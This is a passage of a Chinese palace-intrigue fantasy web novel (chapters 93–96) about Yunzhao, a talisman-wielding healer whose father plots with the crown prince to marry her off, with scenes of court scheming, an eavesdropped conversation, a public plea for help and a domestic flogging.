云昭并不气恼,只淡淡道:“我的符,对外售价一千两白银一张,且有价无市。便是秦王殿下,至今也仅从我这里求去三张而已。”
苏惊澜伸出去准备递还符箓的手,瞬间僵在半空,随即猛地缩了回去,紧紧攥住了那枚符纸。
云昭的目光扫向苏惊墨:“陛下亲赐凤阕令,其中深意,想必无需我向两位表兄赘言吧?”
她后退一步,拉开些许距离,姿态疏离:“我言尽于此。这两枚符咒,你们若是不信,随意处置便是,丢弃、焚毁,皆由你们。”
说完,云昭转身,头也不回地步上石阶。
苏惊澜轻咳一声,掩饰着尴尬:“那个……营中还有军务,我先回去了。有什么事,等我三日后休沐再说。”
苏惊墨也连忙附和:“嗯,我也需尽快返回书院温书。”
两人绝口不再提那符咒之事,仿佛刚才的对话从未发生。
他们各自转身,朝着不同的方向迈步,动作却出奇地一致——
皆是不动声色的,将那枚看似不起眼的黄色符箓,小心翼翼地塞入了衣襟之内,紧贴着心口的位置。
*
半个时辰前,醉仙楼顶层的“听雨阁”内。
鎏金狻猊香炉吐出缕缕清雅的冰片香,却驱不散室内凝滞的气氛。
太子萧鉴斜倚在紫檀木嵌螺钿软榻上,指尖有一搭没一搭地敲着矮几。
他对面坐着新任吏部侍郎裴琰之,年方廿五便官居要职,是朝中炙手可热的新贵。
灵峰垂首,将市井间流传的童谣一字不落地复述了一遍。
太子神色阴沉得能滴出水来,指节猛地收紧,捏得杯中酒液微漾:“这童谣编得倒是朗朗上口!”
裴琰之执壶为他斟酒,语气温和:“殿下,不过是一首童谣罢了。想来是有人嫉妒姜府一门双凤,风头太盛,故意泼些脏水,传几日自然就散了。”
“嫉妒?”太子从鼻子里发出一声冷哼,嫌恶之情溢于言表,
“孤原就觉得那姜绾心举止小家子气,上不得台面!不想竟是姜世安与外室所生!姜世安,他好大的狗胆!竟敢拿一个外室之女来糊弄孤,谋取东宫妃位!”
裴琰之眼帘微垂,不动声色:“殿下,其实有时所谓的血缘出身,也没那么紧要。关键在于,她是否有那个命格……”
太子倏地抬眼,目光锐利如刀,刺向裴琰之:“孤怎么觉着,你今日句句都在替姜世安开脱?”
裴琰之从容一笑,放下酒壶:“殿下这就误会微臣了。若非玉衡**以性命担保,卜算出那姜绾心才是身具凤命、能助殿下稳固国本之人,臣又岂会多言半句。”
太子紧绷的下颌线微微松动,一时沉默。
从前玉衡**的卜算,确实是他最终选定姜绾心的关键。
就在这时,门外传来轻微的响动。
灵峰快步走到门边,低声询问后,面色有些古怪地回转:“殿下,是姜尚书在外求见。”
太子眼神晦暗不明,并未立刻回应。
裴琰之则饶有兴致地挑眉:“哦?他此时不来避嫌,反倒主动凑上来,所为何事?”
灵峰迟疑地觑着太子的神色,低声道:“姜尚书说……是来为殿下献计。他说有法子,让永熙王此番进京,能好生‘松快松快’。”
太子眸光一闪,嘴角扯出一抹冰冷的弧度:“让他进来。”
雅室的门被轻轻推开,姜世安躬身而入。
他今日穿着一身靛蓝色暗纹常服,姿态优雅从容,仿佛全然不知外界风雨。
他朝太子深深一揖,语气恭敬却不卑不亢:“微臣参见太子殿下。冒昧打扰,实因想到一计,或可为殿下分忧。”
“讲。”
“微臣听闻,不几日便是丹阳郡公在京郊别苑举办的赏荷宴。如此雅集,若永熙王殿下也能莅临,必能增色不少。只可惜……”
他恰到好处地停顿,面露难色,“丹阳郡公性子耿介,微臣人微言轻,恐难请动永熙王大驾,还需殿下从中斡旋一二。”
太子像是听到了什么天大的笑话,冷嗤一声:“丹阳郡公?他那脾气跟他兄长英国公如出一辙,是茅坑里的石头又臭又硬!他会欢迎永熙王?
再者,叔公每次来京郊,都是在自己的‘熙园’大宴宾客,何时屈尊去过别人的宴会?”
他意味深长地看着姜世安,“你当孤不知,他们根本是两条道上的人,彼此都看不上眼。”
姜世安脸上不见丝毫尴尬,反而露出一丝成竹在胸的笑意,声音压得更低:“殿下明鉴。
正因如此,若永熙王殿下‘意外’前往,并在此次赏荷宴上……遇到些让他印象‘深刻’的‘惊喜’,岂不更显殿下安排之妙?”
太子瞳孔微缩,身体微微前倾:“你倒是好大的胆子。主意都打到……宜芳县主头上了?”
他沉吟片刻,指尖摩挲着杯沿,语气变得幽深难辨,“扶音她……性子是孤傲了些,倒确是叔公偏好的类型。”
姜世安缓缓摇头:“宜芳县主素有才名,性情孤高,却失之泼辣鲜活,未必能长久吸引永熙王。殿下可知,永熙王前两日便已悄然入京……想必,已听闻了这几日京中最热闹的消息。”
太子先是怔愣片刻,随即,像是陡然想通了其中关窍,竟爆发出一阵难以抑制的大笑。
“好!好一个姜世安!”太子拊掌,睇向姜世安的双眸精光闪烁,
“从前御史中丞方老匹夫骂你是‘**子’,现在看来,他根本没看透你!你哪里是**子……你是真小人,够狠、也够贱啊!”
他笑声戛然而止,目光如炬地盯着姜世安,“连自己的嫡亲女儿,都能这般轻易舍出去?”
姜世安面色不变,语气甚至带着一种理所当然的平静:“女儿家,理应自幼娇养在深闺,温顺乖巧,懂得为家族分忧。而非像她那般,在外野惯了,目无尊长,忤逆父母。”
他话语间透出冰冷的决绝,“微臣从未将一个不服管束、血脉存疑的野种,视作亲生。”
他话锋陡然一转:“况且,此女心比天高。不过因嫉妒心儿得了凤命批语,竟胆大
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包天,编造那等大逆不道的童谣,实属大不敬!”
这番话如同甘霖,瞬间浇熄了太子心中因童谣而生出的最后一丝疑虑与不快。
是了,他想。闻空大师的批命从无差错。那些不一样的解读,定是有人恶意中伤!
想起姜云昭那张秾丽妩媚、却总是带着疏离与倔强的脸庞,太子拇指无意识地扣着玉扳指,喃喃道:“可惜了……”
若非他急于讨好手握玄铁晶的永熙王,像姜云昭这般带刺儿的美人,他在纳了姜绾心之后,倒也不介意收用过来,仔细品尝那种将傲骨一点点碾碎的滋味。
纳入东宫做个贵妾,想必别有一番趣味。
姜世安察言观色,语气愈发谦卑:“能为殿下分忧,是微臣本分,亦是姜氏满门的荣耀。小女若能以微末之躯,为殿下的大业稍尽绵力,是她的福气。”
太子与对面的裴琰之交换了一个心照不宣的眼神,终于颔首,语气带着施舍:“孤知道了你的忠心。赏荷宴,让你那位嫡女……好生准备,漂漂亮亮地亮相吧。”
他顿了顿,补充道,语气不容置疑,“至于心儿,那般场合……她不去最好。”
姜世安心领神会,又说了几句表忠心的场面话,这才恭敬地退了出去。
雅室的门重新合上。
裴琰之轻啧两声,摇头叹道:“真没想到,这姜世安对自己血脉,竟能狠心至此。”
太子漠然一笑,仿佛在谈论一件再寻常不过的事:“不奇怪。那姜云昭是苏**的女儿。单凭这一点,他就跟孤一样,厌憎苏家人入骨。又怎会疼惜一个流着苏家血的女儿?”
*
仅一墙之隔,另一间更为隐蔽的雅室内。
秦王萧启负手立于窗前,背影挺拔如松。方才隔壁的对话,一字不落地透过特制的通风孔传了过来。
一旁的赵悉早已气得脸色铁青,强忍着砸碎满室精美瓷器的冲动,从牙缝里挤出低骂:“这个老畜生!虎毒尚且不食子,他简直猪狗不如!”
秦王缓缓转身,面容隐在窗棂投下的阴影里,看不真切情绪。他目光扫过身后两名垂手肃立的玄衣侍卫。
“这些时日的休养,可都想明白了?”
墨七与墨十七同时单膝跪地,声音斩钉截铁,带着不容置疑的忠诚:
“属下想明白了!从今往后,云昭姑娘便是属下唯一的主子。她的命令,高于一切,包括属下的性命。”
秦王微微颔首,声音低沉而清晰:
“去吧。替本王……将人请来。”
赵悉试探道:“殿下,待会儿见了云姑娘,你可会将方才隔壁那番交谈……和盘托出?”
萧启睨了他一眼:“本王不说,你这张嘴能瞒得住?”
从小到大,大漏勺一个,只要当着他的面说过的话,就再不是秘密。
若非如此,他身中七玄钉恶诅一事,也不会瞒他至今。
赵悉讪讪一笑,摸了摸鼻子:“殿下英明。”
他二人正待开口,不想隔壁的门又忽又传来“吱呀”一声轻响——
又一个令人意想不到的人来了。
第94章 有食人之癖
来人一袭粗劣麻衣,头戴宽檐斗笠,将面容遮得严严实实。
然而在她抬手扶住斗笠边缘的刹那,露出一截凝霜赛雪的皓腕,中指上一枚镶嵌着硕大鸽血红宝石的戒指流光溢彩,显见身份非凡。
几乎在来人踏入雅室的瞬间,裴琰之便如同鬼魅般倏然起身,无声无息地避入了内室。灵峰也心领神会,迅速退至门外,将门扉严密合拢。
室内再无旁人,来人这才轻轻摘去斗笠。
斗笠下露出一张梨花带雨的娇媚容颜,未语泪先流,晶莹泪珠顺着白皙脸颊簌簌滚落。正是被降为嫔位、幽禁披香殿的孟清妍。
太子一见是她,立即起身迎上前,嗓音温柔得能滴出水来:“莫哭了。”他伸出指尖,轻柔地为她拭去眼角的泪痕,“若是伤到腹中孩儿,教孤如何心安?”
孟清妍抽泣着,语带娇嗔:“殿下就只知道在意孩儿……”
“护住孩儿,便是护住了你。”萧鉴压低声音,在她耳畔低语,气息温热,“孤若不是担心表姐深宫寂寞,长夜凄冷,又何必行此险招,苦心安排?”
孟清妍美目含怨,嗔道:“说得好听,殿下终究是为了自己。”
萧鉴失笑,温润如玉的脸上满是无奈:“无论如何,他明面上都是父皇的骨血,是孤的弟弟。孤若只为自身计,压根就不该让后宫任何妃嫔再有诞育皇嗣的机会,不是吗?”
孟清妍抽泣着,虽未言语,但紧绷的神色明显缓和了许多。
太子将手掌轻轻覆在她尚未显怀的腹部,继续温言劝慰:“再说,真要等到咱们的孩儿能为孤分忧解难,孤怕是都要三十好几,鬓生华发了。”
这话终于逗得孟清妍破涕为笑。
可紧接着,她又想起自身处境,泪落得更凶:“他太薄情了!
自那日后,当真将我幽禁在披香殿,不准外人探视,也不准我的人踏出半步。这与打入冷宫有何分别!”
太子轻抚她的背脊,柔声安抚:“且安心!安南大将军最迟下月便要回京。届时父皇气也消了,即便看在大将军的份上,也绝不会再与你计较。”
“自古帝王家的男儿,多是薄情郎。”孟清妍幽幽叹道。
太子挑眉,语气带着几分戏谑:“在表姐心中,孤也是那般薄情之人?”
孟清妍轻啐一口,眼波流转间风情万种:“殿下不是薄情,是太多情!”
她小心翼翼地瞥了眼太子的神色,见他并无不悦,才继续道,“就比如,殿下对姜家那个小丫头……”
太子眸光微闪,语气却依旧温柔:“她?她身负凤命,不过是孤登基之日,用以祭告天地、稳固国运的一件‘祭品’罢了。表姐何必与她计较?”
这话如同定心丸,孟清妍眼圈微红,似嗔似喜:“你就会拿这些话来哄我……”
话音未落,便被一阵细微的、令人脸红的咂吮水声打断,夹杂着衣料摩擦的窸窣声响。
半晌,太子才气息微乱地低语:“你今日冒险出来,终究不妥。别忘了,那日害你两次当众出丑的元凶还未查明真身。”
孟清妍不说话了。
“听话,先回去。”他温言安抚片刻,便唤来心腹,命人秘密护送孟清妍回宫,并郑重许诺:“孤向你保证,最迟下月,孤必让父皇恢复你贵妃之位。”
另一边,云昭在墨十七的引领下,悄无声息地步入雅室。
见萧启和赵悉的目光同时落在自己身上,云昭也不多言,径直取出随身药箱:“我先为殿下诊治。”
她凝神为萧启诊脉,指尖在他腕间停留良久,又仔细查验了他的眼睑,这才开口道:
“因大量桃花咒与同心符已被京兆府追回销毁,加之孙婆子不再为虎作伥,源头之力大减。今日,我可为殿下拔除体内近半的桃花煞。”
她顿了顿,神色凝重:“但若要根除,仍需找到最初种下此煞的元凶。”
说罢,云昭取出金针,手法娴熟地为萧启施针。
细长的金针依次刺入要穴,萧启身体微僵,无法动弹。
“你先前提及宋白玉之事,本王已派人详查。”萧启的声音因身体的紧绷而略显沙哑,
“但这些年来,宋白玉明面上倾心的始终是太子。若她真想为太子扫清障碍,何必绕这么大圈子?”
赵悉懒洋洋地靠在椅背上,唇角勾起一抹玩味的笑:“说不定,人家宋大小姐这些年对太子的痴情都是装出来的,实则心里装着的一直是殿下您呢!”
萧启闻言,目光下意识地瞥向云昭。
云昭眼帘轻垂,她回想起姜绾心身上的咒术,一时沉默。宋白玉此人,心思之深沉,确实令人难以揣度。
但单凭那雪肌凝玉膏一事,至少可以断定,即便宋白玉不是这一切的主谋,也必定参与了这场阴谋。
萧启施针后不能妄动,一旁的赵悉指着桌上一个布包道:“这些东西,还请云姑娘过目。”
云昭起身走近,打开布包,里面是一些女子的钗环玉佩,虽沾满尘泥,仍能看出昔日精致。
赵悉解释道:“殿下此次南下,在琅琊郡一处名为‘青霞观’的道观中,也发现了相同的炼丹炉。这些,是从道观寻到的女子遗物。”
云昭指尖轻触那些物件,感受到其上残留的微弱怨念,蹙眉道:“此地不便施为。稍后寻一开阔僻静处,我自当送这些无辜亡魂往生。”
赵悉与萧启交换了一个眼神,沉声道:“殿下与我怀疑,这青莲观与青霞观的幕后主使,恐怕就是……”
话音未落,隔壁雅室忽然传来门轴转动的声响。
赵悉忍不住冷嗤:“太子难得微服出宫一趟,倒是宾客盈门,迎来送往,好不热闹。”
云昭尚未明白他话中深意,便听见隔壁传来一个再熟悉不过的声音——
正是她的兄长姜珩。
赵悉翻了个白眼,嘲讽道:“嗬,方才老子来献完计,这会儿儿子又来表忠心。这一家子,真是一个比一个会钻营,没一个安分的!”
透过薄薄的板壁,可以听见姜珩正低声下气地恳求:“……求太子殿下开恩,垂怜心儿,她如今被邪咒折磨得生不如死……”
太子那边一片沉默,并未回应。
倒是一旁的灵峰代为开口:“姜大公子,殿下早有明令,无要事不得来此寻访。你若真将殿下的话放在心上,便不该如此行事。”
姜珩唯唯称是,语气惶恐。
太子依旧不发一语。
灵峰的声音再次传来,带着一丝不易察觉的冷酷:
“想解令妹身上的咒术,说难也不难。府上那位梅姨娘不是颇通此道?寻个由头,将这咒术转嫁到他人身上便是了。”
姜珩切齿道:“可……家中现有云昭横加阻挠,只怕难以成事。”
灵峰的声音陡然转冷:“府内不成,那就引出府外!寻个不相干的外人,总不至于再有人阻拦了吧?”<
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br>姜珩顿时噤若寒蝉,再也说不出话来。
姜珩走得悄无声息,而云昭此时也明白过来,今日萧启和赵悉这两人邀她在此聚首,竟是在偷听?
“我父亲此前也来过这里?”她声音平静无波,仿佛在谈论今日的天气,“他来求太子殿下什么?”
她顿了顿,唇角弯起一抹极淡的弧度,“莫非……是来为我这个不肖女,求一门‘天造地设’的‘好’姻缘?”
赵悉闻言,眼中闪过一丝讶异,随即拊掌笑道:“神了!这也能叫你算出来?”
云昭但笑不语,眸中却无半分暖意。
她并非掐算,而是太了解姜世安那点龌龊心思。
昨日他那般轻易松口,让母亲收回掌家权,梅柔卿也一反常态地沉默,她就知道,这对豺狼虎豹绝不可能善罢甘休。
细细想来,除了她的婚事,他们还有什么能拿来利用、拿捏、甚至彻底毁掉她的呢?
萧启此时沉声开口,打断了她的思绪:“七日后,丹阳郡公府上的‘赏荷宴’,你需做好准备,准时出席。”
云昭微挑起眉梢。
赏荷宴?不正是丹阳郡公家那位宜芳县主,与她那位“好兄长”姜珩彼此相看的宴席?
她原以为那不过是京中贵妇们一场风雅小聚,规模有限,无甚要紧。
她虽存了搅局之心,却从未想过,这场宴会竟会从萧启口中说出,且如此郑重。
赵悉的声音带着毫不掩饰的讥诮与愠怒:“你那位好父亲,方才同太子商量,要在赏荷宴上,将你卖给一个年过半百、行将就木的老畜生!”
纵然心中已有猜测,亲耳听到这赤裸裸的算计,云昭面上不动声色,指尖仍是微微一颤。
萧启的目光始终落在她脸上:“届时,本王与赵悉会改换身份,随你同往。”
赵悉一听,顿时来了精神,方才的愤慨一扫而空,跃跃欲试地摸着下巴:“改换身份?这个我在行!让我想想……我可以假扮成云昭姑娘远道而来的远房表兄,负责保驾护航……”
“你,”萧启打断他的畅想,语气平淡无波,“扮侍女。”
他顿了顿,在赵悉骤然瞪大的眼睛注视下,指了指自己:“我,扮侍卫。”
“凭什么——!!!”赵悉如同被踩了尾巴的猫,瞬间炸毛,声音都拔高了一个调,“凭什么你扮侍卫,我就要扮侍女?!我哪里像女子了?!”
萧启抬眸,轻飘飘地扫了他一眼,那眼神里带着三分嫌弃,七分“为你着想”的包容:
“凭你功夫稀松,脑子也不甚灵光,届时若真动起手来,只会拖后腿。扮个低眉顺眼的侍女,少说话,或许还能蒙混过去。”
赵悉气得几乎跳脚,指着自己的鼻尖,嘴唇哆嗦着,却一时找不到话来反驳,脸憋得通红。
云昭看着眼前两人突兀又略显荒诞的争执,心中的冰冷怒意竟奇异地被冲淡了几分。
萧启转向她:“不要轻敌。”
他声音压得更低,“永熙王萧玦,极有可能便是青莲观、青霞观一案中戕害了上百名少女的幕后真凶。我知你身负绝学,但此人……绝非你想的那般简单。”
“他权势滔天,性情乖张,视人命如草芥,手下能人异士众多。”
萧启的喉结滚动了一下,最终吐出的那句话,轻若耳语,却重如惊雷,狠狠砸在云昭的心上:
“而且我们查到……此人,有食人之癖。”
第95章 白羡安跪求云昭
“食人?”云昭眸光倏然一凝。
孙婆子声泪俱下的控诉瞬间浮现于脑海——
被折磨致死的小莲,不仅浑身遍布青紫淤痕与齿印,身上多处皮肉更被生生剜去,露出森森白骨!
难道孙婆子口中那虐杀小莲、位高权重之人……是永熙王?
云昭心念电转,看向赵悉:“永熙王何时入京?他此番前来,可有什么场合,必能见到府上老夫人?”
赵悉一怔,但还是耐心为云昭解答:“永熙王长居封地琅琊,唯有每年圣上万寿节方会入京,居于城郊熙园。
他辈分极高,便是秦王与太子殿下见之,亦需恭称一声‘叔公’。至于我家老太太……”
他略一沉吟,摇了摇头,“熙园年例饮宴的帖子照送,但她不喜永熙王为人,年年接到帖子,从未出席。”
云昭心下雪亮:这就对了!
若她未及时出手,任由那孙婆子一直附身在赵老夫人身上,今年这熙园饮宴,她必会前往。
看来这场赏荷宴,她是非去不可了。
她抬眸,对萧启与赵悉道:“有关这位永熙王,劳烦二位替我多留意,事无巨细,但有所得,随时告知于我。”
目送云昭身影远去,赵悉这才凑近萧启,压低声音:“方才云昭在时,你为何不将青州查到的事一并告知?”
萧启遥望云昭离去的方向,眸色深沉,缓缓摇头:“还不是时候。”
他至今仍清晰记得,初见那日,她为回京认亲不惜一切的决绝,提及“清微谷”时,眼底强抑的猩红。
那份绝望中的孤注一掷,让他不忍在希望未明时,轻易撩动那道伤口。
赵悉还欲再言,萧启一记眼风扫来。
他立刻抬手在嘴边做了个封缄的动作,信誓旦旦:“放心!天大的事!我定守口如瓶,必待佳音确凿,再第一个‘漏’给云姑娘知晓!”
萧启无奈瞥他一眼。
此事若非需要借重赵悉家中两位嫂夫人,他断不会让这闻名遐迩的“大漏勺”知晓半分。
此事,就当他留给云昭的一个小小惊喜罢。
*
马车辘辘,碾过青石板路,最终在姜府那对威严的石狮子前稳稳停住。
云昭刚下马车,脚步尚未立稳,一道略显急促的身影便拦在了面前。
来人穿着一袭雨过天青色的杭绸直裰,腰间束着同色系绦带,本该是清爽闲适的打扮,此刻却因主人眉宇间的焦灼与疲惫,生生折损了几分风采。
正是许久未见的大理寺少卿,白羡安。
多日不见,他原本白净斯文的面庞清减了不少,眼底带着明显的青黑,唇周甚至冒出了些许未来得及修剪的胡茬,整个人透着一股强撑着的憔悴。
他快步上前,声音带着一丝不易察觉的干涩:“云姑娘,请借一步说话。”
云昭目光在他面上轻轻一掠,不过瞬息,便已摇了摇头,语气平淡无波:“太迟了。”
白羡安脸色骤然一变,也顾不得礼数,上前一步竟伸手欲拽云昭衣袖。
一直默立云昭身后的墨七身形微动,迅如鬼魅般格开他的手腕,顺势一推。
白羡安踉跄着**数步,险些跌坐在地,官袍下摆沾了尘土,瞧着好不狼狈。
“云昭!你怎可如此无礼!”姜珩的声音自身后骤然响起。
“白大人,您没事吧?快快请起!”他快步上前,殷切地将白羡安扶起:“舍妹疏于管教,行事粗鲁,还望大人海涵,莫要与她一般见识。”
姜珩心中对白羡安颇有好感。忆及当日京兆府,赵悉是如何仗势刁难他与父亲,又是如何偏袒云昭。唯有这位白大人,既不似赵悉那般跋扈,也不像那位行将致仕的刑部尚书颜大人一味和稀泥。
白大人处事“公允”,处处体谅他与父亲的“难处”,在他心中,方是真正的国之栋梁,清流典范。
谁知,白羡安刚一站稳,竟猛地拂开他的搀扶,在众目睽睽之下,“噗通”一声朝着云昭直挺挺跪了下去!
“求姜小姐救救我妹妹慕宁!”话音至此,已带上了难以抑制的哽咽,“她……她已经整整三日水米未进,昏迷不醒,眼看就只剩最后一口气了!”
此时,姜府门前已有路人被这番动静吸引,渐渐聚拢过来。
云昭微微俯身,声音不高,却清晰传入白羡安耳中:“你妹妹白慕宁,可是收过那桃花符?”
白羡安面色一僵,艰难地点了点头,复又急急补充:“但那邪物,我早已命下人焚烧殆尽!”
云昭直起身,唇角勾起一抹冷笑,“你明知京兆府正在全力收缴此符,却碍于颜面,不肯将符咒交予赵大人处置。
你可知,此符需统一交由我净化,方能彻底祛除邪祟?
你擅**烧,邪气反噬,只怕从那一刻起,你妹妹的情形便已急转直下,是也不是?”
姜珩在一旁听得云里雾里,见两人低语,忍不住又想上前。
却见云昭已后退半步,声音清越,足以让周遭百姓听清:“白大人既信不过我与赵大人,不肯配合官府行事,如今又何必来求?请回吧。”
围观的百姓闻言,顿时窃窃私语起来。
“是为了桃花符的事儿吧?听说沾上那东西邪门得很!”
“肯定是了!姜家大小姐近来一直在帮着京兆府勘破这悬案。”
“那白大人的妹妹岂不是……既是求人救命,怎么之前还不肯听吩咐办事?”
白羡安脸上青红交错,满是**之色,却仍朝着云昭深深一揖:“求姜小姐慈悲……”
云昭再次后退,避开他的礼,眉眼间嘲讽之意更浓:“你既觉**,何必勉强?求人救命,难道不该有个求人的态度?
你因何觉得**难平?因我是女子之身,却掌握着你无法理解的力量?还是因你向来鄙夷玄术,视之为歪门邪道?
亦或是,你至今仍觉当日在公堂之上刁难于我,实乃理所应当,如今形势所迫不得不对我低头,面子上过不去?”
她目光如炬,似要看穿他虚伪的皮囊。
“白羡安,你不必在此作态,我不欠你什么!”
白羡安见她当真转身欲走,四周百姓指指点点的目光更如芒在背,当即扬声道,试图以势压人:
“姜小姐!你既身负玄术,知晓此符凶险,难道不该早早示警天下?你既身为医者,又手持陛下亲赐凤阕令,难道真要见死不救?
是!白某昔日确与你有隙,但慕宁她是无辜的!你为何如此狠心,迁怒于一个弱质女流?这岂是仁心之道?”
百姓们闻言,议论声更大了些:
“这姜大姑娘今日若真见死不救,传出去确实不好听!”
“可之前是白大人自己不信姜小姐和官府啊!”
姜珩上前一步,摆出兄长的架势和稀泥:“云昭!到底是一条人命,你快随白大人去看看吧!况且白大人身为朝廷命官,为了自家妹子,当众跪你一个女子,你也算出了气了!”
跟在云昭身后的莺时实在气不过,扬声道:“当日在公堂之上,你是如何欺辱我家小姐与夫人,恨不得将她们置于死地的!
若非秦王殿
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下及时赶到,只怕我家小姐和夫人连命都没了!如今哪来的人为你家妹子治病?
分明是你堵死自个儿的路!如今还有脸来责怪别人!”
姜珩见莺时一个婢女竟敢当众顶撞朝廷命官,顿觉颜面尽失,怒喝道:“放肆!这里哪有你说话的份?还有没有规矩!”说着竟扬手欲打。
不等他手掌落下,影七身形如电,一记窝心脚狠狠踹在他胸前!
“呃啊——!”姜珩痛呼一声,整个人向后跌飞出去,重重摔在地上。
须知云昭在公主府认亲那日,萧启踢的就是这个位置。如今过去两个多月的光景,旧伤未愈,再添新创……
姜珩脸色瞬间惨白如纸,捂着胸口蜷缩成一团,连话都说不出来。
影七朝地上啐了一口,叉腰骂道:“我呸!还新科状元呢!圣贤书都读到狗肚子里去了?开口闭口规矩身份,是非曲直不分,就知道帮着外人欺负自家妹妹!
是不是觉得老百姓都是睁眼瞎,由着你这种酸腐文人颠倒黑白?”
这番市井之言,立刻引来了围观百姓的共鸣。
“人家小丫鬟说得也在理!当初往死里逼人家母女,现在倒来求人了?”
“这姜大公子怎么一天到晚的胳膊肘往外拐?”
“读书读傻了呗,清高得都不食人间烟火了!”
云昭冷眼看着这一切,目光落回面如死灰的白羡安身上:“白羡安,连我家婢女都懂的道理,你会不懂吗?
你无非是仗着此刻看似弱势,扮可怜,博同情,想借悠悠众口逼我就范。
你当日在公堂,在青莲观,所作所为,当真无愧于心?
你扪心自问,你究竟是为了公道,还是为了你背后那贵人的期许,为了你自己的前程门路?”
白羡安脸色骤然惨变,仿佛被人当胸捅了一刀!
云昭看他这副模样,只觉无比可笑又可悲:“你说你妹妹无辜?她当真无辜吗?你赚来的银钱,她花用了!你牟利得来的风光,她享受了!
若你妹妹今日果真遭遇不幸,那也是你们白家积下的业障,是你白羡安种下的果报!与我何干?
若她今日救不回来,那也是你这做兄长的,刚愎自用,亲手断送了她的生路!”
云昭拂袖转身:“天道轮回,报应不爽。白大人,你好自为之。”
眼见云昭真的毫不留情远走,白羡安突然发了疯般从地上爬起,嘶吼着要扑上前:“姜云昭!你不能见死不救!”
却被影七一把掀开:“白大人,甘蔗没有两头甜。想救令妹,到底该怎么做,你心里应当清楚得很。”
白羡安失魂落魄地怔在原地。
一旁的姜珩挣扎着起身,急得满头大汗,频频望向紧闭的府门——
今日当值的门房竟一个都不见踪影。大理寺卿白大人都求到家门口来了,难道真要因为云昭不留情面,将人这么撵回家去?
正当他焦灼万分时,侧面角门“吱呀”一声开了条缝。小厮福安慌慌张张地钻出来,一见姜珩如同见了救星,连滚带爬地冲过来:
“大少爷!快随奴才回府!”
姜珩一把揪住他衣领:“快去请父亲出来主持大局!”
福安急得直跺脚,声音都变了调:“老爷正在院里动家法!您再不回去,梅姨娘就要被活活打**!”
这声近乎绝望的呼喊随风飘来,已走出数步的云昭倏然驻足,随即迈步迈得更欢快了。
好啊。
这出大戏总算唱起来了,她这个辛辛苦苦搭台子的人,岂能错过最精彩的桥段?
第96章 渣爹鞭笞梅姨娘
刚一踏进后院,鞭子破空的锐响便夹杂着凄厉的哭喊扑面而来。
姜绾心哭得声嘶力竭,整个人扑倒在地,发髻散乱:“父亲!别打了!娘亲是冤枉的啊!”
“娘亲?”姜世安的声音冷酷极了,“你的娘是苏家嫡女苏**!她一个贱妾,也配让你喊娘?”
姜绾心涕泪纵横,死死抱住姜世安的腿:“是姨娘!女儿知错了!求父亲听姨娘一句解释!外头的风言风语岂能当真?”
拐过月亮门,惨烈的一幕赫然映入眼帘。
姜世安手握牛皮软鞭,每一次挥下都带起刺耳的风声。
梅柔卿被按在长凳上,月白中衣早已被鞭子抽得褴褛不堪,鲜血从破碎的布料中渗出,在她身下汇成一小滩暗红。
她脸色惨白如纸,唇瓣被咬得血肉模糊,散乱的青丝黏在汗湿的额角。每当鞭子落下,她单薄的身躯便剧烈颤抖,却倔强地不肯发出一声求饶。
姜珩见状,一个箭步冲上前:“父亲,这是为何?”
他伸手欲扶姜绾心,却被她死死推开。
姜绾心跪行两步,突然指向静静立在一旁的云昭哭道:
“父亲,兄长!那日我就在忘尘阁!当晚发生的一切,我都瞧得清清楚楚!我甚至比阿姊到得都早!若说母亲有嫌疑,那阿姊嫌疑更大……”
一直沉默的苏氏突然上前,扬手给了姜绾心一记耳光:“放肆!”
不待苏氏开口,一旁陪着的严嬷嬷已厉声呵斥:“一个未出阁的姑娘家,为了个姨娘竟敢污蔑长姐清白!姜二姑娘莫非忘了,那日在忘尘阁,长公主殿下是如何训诫的?”
姜世安脸色极差,阴鸷的目光转向云昭。
云昭坦然迎视,声音清越:“父亲,女儿那夜一直守在柔妃娘娘身边诊治,故而去晚了些。前去的路上,途中更与闻空大师及诸位僧侣同行,此事多人可证。”
姜世安眸色深沉看着云昭:“为父自是信你。”
云昭望着姜世安这张脸,斯文清俊,君子如风,瞧着真是一副好皮囊。
谁知内里却藏着屡次要置妻女于死地的狠毒!今日更是捏着她的清白和性命,堂而皇之地跟太子做起了交易!
这就是她的亲生父亲!
姜珩强压怒火:“父亲,到底发生何事?”
他看了一眼脸色惨白的姜绾心,再看向趴在凳子上气息微弱的梅柔卿,“父亲,就算真要将人打杀了,总要把事情道理分说个明白……”
“说个明白?”姜世安冷笑道,“你可知道今日街上如何议论我?说我头顶绿云,还喜滋滋纳了个失贞的**!”
他指着梅柔卿,声音陡然拔高:“说这贱妇和杨氏一起伺候过杨振那条老狗!”
此言一出,姜珩如遭雷击,面红耳赤说不出话。
姜世安更是胸膛剧烈起伏,难怪那日他去杨家报丧,对方是那般态度!原来早知杨振做的丑事!
而他都做了什么?
他在这贱妇与人偷欢的次日,在佛门净地,当着苏氏的面承诺纳妾!
他猛地转向苏氏:“你早知道!”声音里淬着冰碴,"那日你就知道这贱妇的丑事,故意逼我纳妾,好教我如今丢尽颜面,成了全京城的笑话?!"
苏氏面覆寒霜:“我知道什么?”她冷笑一声,“若那夜就抓到她偷人的证据,她还能活着回来?早该和杨氏一个下场!”
姜世安疑色稍缓。苏氏恨梅柔卿入骨,若真有把柄,断不会留她性命。
也就是说……此事并无实证?
趴在凳子上的梅柔卿吐出一口血水,凄然道:“难怪姐姐那日突然松口,同意让姜郎纳我为妾,今日这番谣言,恐怕也出自……”
话未说完,她又呕出一口鲜血。
姜绾心尖叫了声,扑上前抱住梅柔卿:“父亲,再打真要出人命了!事后您定会后悔的!
外界的谣言何必管它!本也不是真事!那日二婶已为此事自戕而死,难道父亲还要为了一个子虚乌有的罪名,再逼死姨娘吗!”
她泪如雨下:“姨娘这些年兢兢业业持家,将我与兄长拉扯长大,就连我昨夜得了那样的怪病,也是姨娘彻夜不眠,为我医治!求父亲莫要因风言风语,寒了真心人的心!”
姜世安持鞭的手微微颤抖,却仍厉声道:“让她说清楚!今日这谣言到底从何而来!”
就在这剑拔**张的关头,梅柔卿忽然用染血的手轻轻拽住他的袖角。
姜世安正要甩开,指尖却不经意触碰到她温热的鲜血——
他身形猛地一僵。
那血仿佛有生命般,在他指尖微微发烫。一股奇异的香气若有若无地飘来,像是梅香,又带着几分血腥气。
姜世安的眼神忽然恍惚了一瞬,脑海中闪过一个模糊的画面:梅柔卿端着一杯酒,笑靥如花地对他说:“姜郎尝尝,这是妾身特意为您温的酒……”
